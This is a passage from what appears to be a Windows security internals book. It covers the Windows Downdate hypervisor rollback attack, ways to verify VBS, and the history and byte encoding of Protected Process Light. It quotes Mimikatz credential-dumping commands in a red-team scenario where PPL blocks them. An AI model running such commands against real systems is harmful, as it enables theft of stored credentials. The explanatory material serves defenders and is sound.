Alon Leviev's "Windows Downdate" at Black Hat USA 2024 disclosed a class of attack that the prior three sections do not cover: rollback of the hypervisor binary itself to a previously-vulnerable, but still validly-signed, build [304].

The structural argument: UEFI Secure Boot prevents loading an unsigned hvix64.exe. It does not prevent loading an older hvix64.exe that remains validly signed and merely unrevoked. If Microsoft fixes a Secure Kernel bug in build N+1 and a VTL0 attacker can convince the system to load build N at the next reboot, the patched bug is alive again. CVE-2024-21302 demonstrated exactly this rollback against both the hypervisor and the Secure Kernel through manipulation of the Windows Update servicing pipeline. The mitigation is mandatory-update servicing combined with proactive revocation list (dbx) hygiene (once an older binary's hash is in the UEFI revocation list, Secure Boot will refuse to load it) and Microsoft completed mitigations across Windows 10 1507 through Windows Server 2019 in the July 8, 2025 update wave [304].

What it means for you: Practical guide and closing

If you have read this far, the natural next question is "is this on, on my machine, and how do I check?" The practical answer is short.

Enabling and verifying VBS

VBS is configurable through several paths: Group Policy (Computer Configuration > Administrative Templates > System > Device Guard), Intune, MDM CSPs (DeviceGuard/EnableVirtualizationBasedSecurity, DeviceGuard/ConfigureSystemGuardLaunch), the Windows Security UI, or directly via bcdedit /set hypervisorlaunchtype Auto. Verification is not a single green check. Treat it as an adversarial state check: boot policy must permit the hypervisor; hardware must expose virtualization, SLAT, Secure Boot, and preferably DMA/SMM protections; Windows policy must request services; runtime state must show those services running; and no boot load option should disable VBS. The following surfaces are 🔵 documented-only examples, but they are the right evidence types to capture in a lab or fleet audit.

• msinfo32 → the Device Guard / Virtualization-based Security row. "Services Configured" lists what policy has requested; "Services Running" lists what is actually active. Kernel DMA Protection and Secure Launch each appear as their own row.
• Get-CimInstance -ClassName Win32_DeviceGuard → VirtualizationBasedSecurityStatus (0 = off, 1 = enabled but not running, 2 = running); SecurityServicesRunning array (HVCI, Credential Guard, etc.); RequiredSecurityProperties (the policy floor).
• bcdedit /enum → hypervisorlaunchtype Auto is the default; loadoptions DISABLE-VBS (or DISABLE-LSA-ISO) is how an administrator can opt out (you should not see these flags on a properly-configured machine).

A health check over those fields should be deliberately conservative about what it requires. A developer workstation may choose not to require Credential Guard; a kiosk may require HVCI but not Secure Launch; a high-assurance fleet may require DMA protection and SMM mitigations. The required floor is a local fleet policy over available capabilities, not Microsoft's RequiredSecurityProperties field; a production checker should record both. Change the policy floor, not the meaning of the fields.

Operational Pitfalls

Three operational realities matter. First, HVCI has a driver-compatibility gate and will refuse Memory Integrity if an incompatible kernel driver is installed. The usual offenders are older anti-cheat drivers, legacy storage filters, disk-encryption filters, and pre-Hyper-V-aware virtualization products. The failure mode is not "VBS is broken"; it is "Windows declined to create an executable mapping regime that an existing driver cannot survive." Remove or update the driver, reboot, and re-check both policy and runtime state.

Second, nested virtualization changes the diagram but not the owner. In an L0/L1/L2 stack, the physical L0 hypervisor still owns the machine. The L1 guest may expose a virtual hypervisor to L2 and may even run its own VTL split, but L1's VBS protects L1 secrets from L1 VTL0; it does not give L1 authority over L0. Performance counters, side-channel mitigations, and device assignment become harder to reason about, so nested VBS should be treated as a separate deployment profile, not as proof that the host boundary weakened.

Third, verification has policy caveats. hypervisorlaunchtype Auto only says the boot entry permits a hypervisor. VirtualizationBasedSecurityStatus = 2 says VBS is running, not that every desired service is running. SecurityServicesConfigured can be ahead of SecurityServicesRunning when hardware support, firmware settings, incompatible drivers, or policy conflicts block a service. A fleet check should record all three: configured, required, and running. That is the difference between "the switch is on" and "the boundary this chapter describes is actually in force."

Further Reading

Administrator Protection (the user-mode admin trust model that the kernel-mode VBS boundary makes possible) did not become a chapter of this book; for that thread, see the external write-up Adminless.

Closing

The reason SYSTEM on a properly configured Windows 11 box cannot read Credential Guard-protected LSASS secrets, execute policy-denied kernel code, or patch HVCI-protected ntoskrnl.exe pages is now fully accounted for. An hvix64.exe or hvax64.exe launched by hvloader.efi before the NT kernel ran. A VTL split inside the root partition, made possible by Hepkin and Kishan's 2013 patent and shipped with Windows 10 RTM in 2015. Per-VTL SLAT enforcement that the NT kernel architecturally cannot touch, because the SLAT tables live in pages the hypervisor never maps into a VTL0 view. A Microsoft-published security boundary and a $5,000-$250,000 bounty calibrating the boundary's value, whose $250,000 standing ceiling is, at this writing, the highest among the compared public bounty programs. A public CVE record of six worked examples across three narrow classes that the boundary has had to pay out on since 2018. And a residual attack surface (firmware below, side channels above, IOMMU bypass beside, hypervisor rollback through the update pipeline) that the substrate cannot, by construction, eliminate.

The hypervisor is what every other chapter in Part II sits on. With the substrate in hand, the chapters that spend it read as compositions of one boundary rather than as separate features: the Secure Kernel chapter (Chapter 6) reads differently when you have walked the per-VTL SLAT yourself; the Credential Guard chapter (Chapter 15) reads differently when you know that LSAISO.EXE is invoked through a hypercall-mediated secure call; the Secure Boot chapter (Chapter 1) reads differently when you know that the hypervisor's DRTM measurement re-establishes the trust root after firmware; and the Code Integrity chapter (Chapter 8) reads differently when you know that the privilege ceiling on Windows 11 is not Ring 0 but a hardware boundary above it.

Above Ring Zero is not a metaphor. It is an instruction-set state. The Windows hypervisor lives there, owns the page tables that say what the OS can see, and is the architectural reason "SYSTEM-on-VBS-backed-Windows" cannot do things SYSTEM used to be allowed to do.

Protected Process Light

Mimikatz on a protected box

A red team operator has done everything right. The shell is SYSTEM-integrity. SeDebugPrivilege is enabled in the token. whoami /priv shows every privilege Windows defines. The operator types mimikatz.exe, then privilege::debug, OK. Then sekurlsa::logonpasswords, and Mimikatz answers:

ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory : (0x00000005) Access is denied

The mechanism that just denied them is not a privilege check at all. It is not an ACL decision. It is not the integrity-level mediator. itm4n recreated exactly this failure in 2021 against a vanilla Windows install with one registry value set [328]. The error code 0x00000005 is ERROR_ACCESS_DENIED, the Win32 surface that GetLastError exposes for the kernel's NTSTATUS STATUS_ACCESS_DENIED (0xC0000022). The kernel returns the NTSTATUS out of NtOpenProcess before the security descriptor of lsass.exe has been consulted; RtlNtStatusToDosError then maps it to the Win32 0x5 that surfaces in kuhl_m_sekurlsa.c.

Picture the scenario concretely. A 2026 red-team engagement against a hardened Windows 11 24H2 endpoint. Audit mode for added LSA protection is often already on after the Windows 11 22H2 rollout, but audit mode is only telemetry; the denial requires lsass.exe to have actually launched as PPL, either because RunAsPPL was configured or because automatic LSA-protection enablement applied to an eligible new enterprise-joined, HVCI-capable install [436]. A third-party EDR daemon is already running, signed at the Antimalware rung via the vendor's Microsoft Virus Initiative enrollment. The operator owns local administrator. The operator has SYSTEM. The operator holds every privilege Windows defines. They still cannot read a single byte of LSASS memory.

The denial trace, walked carefully, looks like this. Mimikatz calls OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, lsass_pid). The Win32 thunk lands on NtOpenProcess, which dispatches to the object-manager callback PspProcessOpen. That callback calls PspCheckForInvalidAccessByProtection, which calls RtlTestProtectedAccess against the caller's EPROCESS.Protection byte and the target's EPROCESS.Protection byte. The lattice test fails. Both PROCESS_VM_READ and PROCESS_QUERY_INFORMATION are full-access bits, outside the limited subset the lattice leaves intact for a None caller against PPL/Lsa, so the kernel strips both. Nothing Mimikatz asked for survives the pruning, and the open resolves to STATUS_ACCESS_DENIED: exactly the path that produces 0x00000005 in kuhl_m_sekurlsa.c (Note: The relevant commit is fe4e98405589e96ed6de5e05ce3c872f8108c0a0, cited by itm4n as the source for the exact failure path that yields 0x00000005 [438].).

This is not a workaround pattern. It is a new dimension. The token model is unchanged. The integrity level is unchanged. The security descriptor on lsass.exe is unchanged. What changed is that the kernel now answers a question it did not ask before: what kind of trust does the caller have to manipulate the address space of the callee?

PPL re-asks the question of who can touch whom one level below the token model.

That mechanism has a name (Protected Process Light), an encoding (a single UCHAR), and a history that does not begin where you would expect. To understand the byte, we have to understand why Microsoft built it in the first place.

Historical origins: Vista, DRM, and the first Protected Process

The kernel mechanism that today denies admins access to LSASS was invented in 2006 to keep Hollywood happy. The cover page of Microsoft's process_vista.doc whitepaper opens with a sentence almost no one quotes today:

The Microsoft Windows Vista operating system introduces a new type of process known as a protected process to enhance support for Digital Rights Management functionality in Windows Vista.

The whitepaper was published November 27, 2006, two months before Vista's GA, and it is the architectural seed of the byte we will be staring at for the rest of this chapter [439]. The motivation was not credential theft. It was HD-DVD and Blu-ray content protection. Studio licensing agreements required that even an administrator on the local machine could not read the audio device graph isolation host's memory while protected content was playing. The Protected Media Path required a kernel-enforced barrier between admin user-mode and the media pipeline.

The Vista design was minimal. A single bit in EPROCESS marks a process as protected. At NtCreateUserProcess, the kernel parses the main image's Authenticode signature and looks for a specific Microsoft EKU OID that only the PMP signing root can issue [440]. If the EKU is present and the chain resolves to that root, the kernel flips the bit. On every subsequent NtOpenProcess against that process, the kernel strips a fixed set of access rights from the mask, no matter who is asking.

Alex Ionescu, then a Windows internals researcher, enumerated the denials in 2007 [441]:

A typical process cannot perform operations such as the following on a protected process: Inject a thread into a protected process; Access the virtual memory of a protected process; Debug an active protected process; Duplicate a handle from a protected process; Change the quota or working set of a protected process.

Five denials. One bit. One certificate root. Ionescu's same essay, titled "Why Protected Processes Are A Bad Idea," made a structural argument that aged well: putting a DRM mechanism in the kernel is a category error. The mechanism is too narrow for non-DRM use because the only certificate accepted is Microsoft's PMP signing root, and the only operations gated are the ones Hollywood cared about. Third parties cannot opt in, and Microsoft itself cannot graduate the level of trust. (Note: Ionescu's 2007 critique remains worth reading on its own merits. The argument that DRM-shaped kernel features tend to be reused for security mitigations and that this reuse changes their threat-model semantics is exactly what plays out over the next seven years [441].)

The seven-year pause is its own story. Vista shipped, Vista was followed by Windows 7, and Windows 7 was followed by Windows 8, and through all of it, the access-check primitive that protects audiodg.exe from administrators remained a DRM artifact. The primitive existed; the graduated trust dimension did not. Two parallel failures pushed Microsoft toward widening the encoding.

The first was Mimikatz. Benjamin Delpy's own project page describes the tool as able to extract plaintext passwords, hashes, PINs, and Kerberos tickets from memory [261]; by the Windows 8.1 design window, that capability had made the primitive gap unmistakable. The countermeasure of restricting SeDebugPrivilege was useless; an attacker who has SYSTEM has every privilege. What Mimikatz exploited was a primitive gap: the kernel had no way to say "lsass is protected against administrators but reachable from privileged Microsoft services."

The second was the CSRSS-gating weakness that Mateusz Jurczyk exposed in 2013. Jurczyk (who writes as j00ru) cataloged more than seventy Win32k system calls that the kernel guarded with the pattern if (PsGetCurrentProcess() != gpepCsrss) return STATUS_ACCESS_DENIED; [442]. That gating mechanism worked only as long as nobody could inject code into csrss.exe. On Windows 8 RT, an attacker who could inject into csrss.exe could bypass Microsoft's locked-down Surface RT shell. Ionescu later observed that "In Windows 8.1 RT, this jailbreak is 'fixed', by virtue that code can no longer be injected into Csrss.exe for the attack" [432]. The fix made csrss.exe a PPL at the WinTcb rung, and the same machinery was generalized to lsass.exe and the Antimalware tier.

Microsoft already had the access-check primitive. What it didn't have, in 2007, was a way to ask "how much trust does this process carry?" The fix would not arrive until Windows 8.1 in October 2013, and when it arrived, it would fit in a single byte.

_PS_PROTECTION: The single-byte encoding

The 8.1 fix is so compact it fits in a single byte. Ionescu's Part 1 of the "Evolution of Protected Processes" series, published November 22, 2013, gives the kernel structure verbatim [431]:

typedef struct _PS_PROTECTION {
    union {
        UCHAR Level;
        struct {
            UCHAR Type   : 3;
            UCHAR Audit  : 1;
            UCHAR Signer : 4;
        };
    };
} PS_PROTECTION, *PPS_PROTECTION;

Three fields. One byte. The union with Level:UCHAR exists so that two _PS_PROTECTION values can be compared with a single byte load and a single byte compare. The kernel does this on every NtOpenProcess. Speed matters; this is the hot path of the security model.

The Type field has three values. PsProtectedTypeNone = 0 marks a regular process. PsProtectedTypeProtectedLight = 1 marks a PPL: the graduated path introduced in 8.1. PsProtectedTypeProtected = 2 marks a "heavy" Vista-style PP. Heavy PPs still exist; they retain the original DRM semantics where almost nothing from below the protection level may touch them. PPLs are the new general-purpose path where the signer rung mediates a graduated lattice.

The Audit bit is the least documented of the three fields. Ionescu Part 1 lists it as Audit: Pos 3, 1 Bit with no semantic gloss; itm4n's RunAsPPL header annotates it as // Reserved; Microsoft Learn enumerates CodeIntegrity events 3033, 3063, 3065, and 3066, but those are triggered by the AuditLevel configuration under Image File Execution Options\LSASS.exe and concern DLL-load failures, not per-process OpenProcess denials [431] [328] [436]. The field's name implies a forensic side-channel, and the bit-position is reserved; the precise runtime emission shape is not enumerated in the public sources cited here.

The Signer field is the structurally interesting one. Ionescu's 2013 enumeration names eight values [431]: